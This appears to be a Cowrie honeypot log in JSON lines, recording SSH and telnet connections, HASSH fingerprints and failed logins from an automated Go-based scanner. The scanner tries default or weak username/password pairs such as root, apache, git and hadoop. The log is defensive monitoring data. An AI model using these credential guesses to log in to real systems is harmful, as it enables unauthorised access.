{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:42.835853Z","src_ip":"192.109.200.237","session":"bc17a7c5f192","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58040,"dst_ip":"10.17.0.5","dst_port":23,"session":"93d7e3e0c82a","protocol":"telnet","message":"New connection: 152.42.224.71:58040 (10.17.0.5:23) [session: 93d7e3e0c82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:42.878187Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:43.083827Z","src_ip":"192.109.200.237","session":"bc17a7c5f192","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:44.178478Z","src_ip":"192.109.200.237","session":"bc17a7c5f192","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54522,"dst_ip":"159.203.135.109","dst_port":22,"session":"3877950e7a00","protocol":"ssh","message":"New connection: 192.109.200.237:54522 (159.203.135.109:22) [session: 3877950e7a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:46.058573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:46.063678Z","src_ip":"192.109.200.237","session":"3877950e7a00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:46.146214Z","src_ip":"192.109.200.237","session":"3877950e7a00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:46.392384Z","src_ip":"192.109.200.237","session":"3877950e7a00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:47.478004Z","src_ip":"192.109.200.237","session":"3877950e7a00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54538,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a45f454be35","protocol":"ssh","message":"New connection: 192.109.200.237:54538 (159.203.135.109:22) [session: 2a45f454be35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:49.346957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:49.352369Z","src_ip":"192.109.200.237","session":"2a45f454be35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:49.434925Z","src_ip":"192.109.200.237","session":"2a45f454be35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:49.683146Z","src_ip":"192.109.200.237","session":"2a45f454be35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.769312620162964,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:49.693559Z","src_ip":"152.42.224.71","session":"491f4119a82f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.626576900482178,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:50.635818Z","src_ip":"152.42.224.71","session":"64454c12f1e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:50.768792Z","src_ip":"192.109.200.237","session":"2a45f454be35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35996,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1dc0611f1a5","protocol":"ssh","message":"New connection: 192.109.200.237:35996 (159.203.135.109:22) [session: c1dc0611f1a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:52.830553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:52.835701Z","src_ip":"192.109.200.237","session":"c1dc0611f1a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:52.924115Z","src_ip":"192.109.200.237","session":"c1dc0611f1a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:53.170487Z","src_ip":"192.109.200.237","session":"c1dc0611f1a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:54.255453Z","src_ip":"192.109.200.237","session":"c1dc0611f1a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35998,"dst_ip":"159.203.135.109","dst_port":22,"session":"556563cdcef5","protocol":"ssh","message":"New connection: 192.109.200.237:35998 (159.203.135.109:22) [session: 556563cdcef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:56.176822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:56.182425Z","src_ip":"192.109.200.237","session":"556563cdcef5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:56.266097Z","src_ip":"192.109.200.237","session":"556563cdcef5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:56.513407Z","src_ip":"192.109.200.237","session":"556563cdcef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:57.599581Z","src_ip":"192.109.200.237","session":"556563cdcef5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36014,"dst_ip":"159.203.135.109","dst_port":22,"session":"de3aa0fa517b","protocol":"ssh","message":"New connection: 192.109.200.237:36014 (159.203.135.109:22) [session: de3aa0fa517b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:59.425678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:59.431041Z","src_ip":"192.109.200.237","session":"de3aa0fa517b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:59.514113Z","src_ip":"192.109.200.237","session":"de3aa0fa517b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:59.764903Z","src_ip":"192.109.200.237","session":"de3aa0fa517b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:00.850645Z","src_ip":"192.109.200.237","session":"de3aa0fa517b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":80.11303305625916,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:02.445985Z","src_ip":"152.42.224.71","session":"147cf67cf4d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46262,"dst_ip":"159.203.135.109","dst_port":22,"session":"17764e23c21c","protocol":"ssh","message":"New connection: 192.109.200.237:46262 (159.203.135.109:22) [session: 17764e23c21c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:02.792952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:02.798377Z","src_ip":"192.109.200.237","session":"17764e23c21c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:02.946125Z","src_ip":"192.109.200.237","session":"17764e23c21c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:03.340679Z","src_ip":"192.109.200.237","session":"17764e23c21c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:04.428507Z","src_ip":"192.109.200.237","session":"17764e23c21c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46278,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8884cac0069","protocol":"ssh","message":"New connection: 192.109.200.237:46278 (159.203.135.109:22) [session: e8884cac0069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:06.203094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:06.207727Z","src_ip":"192.109.200.237","session":"e8884cac0069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:06.292022Z","src_ip":"192.109.200.237","session":"e8884cac0069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:06.556443Z","src_ip":"192.109.200.237","session":"e8884cac0069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:07.643398Z","src_ip":"192.109.200.237","session":"e8884cac0069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46282,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a84ffe55cd0","protocol":"ssh","message":"New connection: 192.109.200.237:46282 (159.203.135.109:22) [session: 8a84ffe55cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:09.533950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:09.540287Z","src_ip":"192.109.200.237","session":"8a84ffe55cd0","protocol":"ssh"}
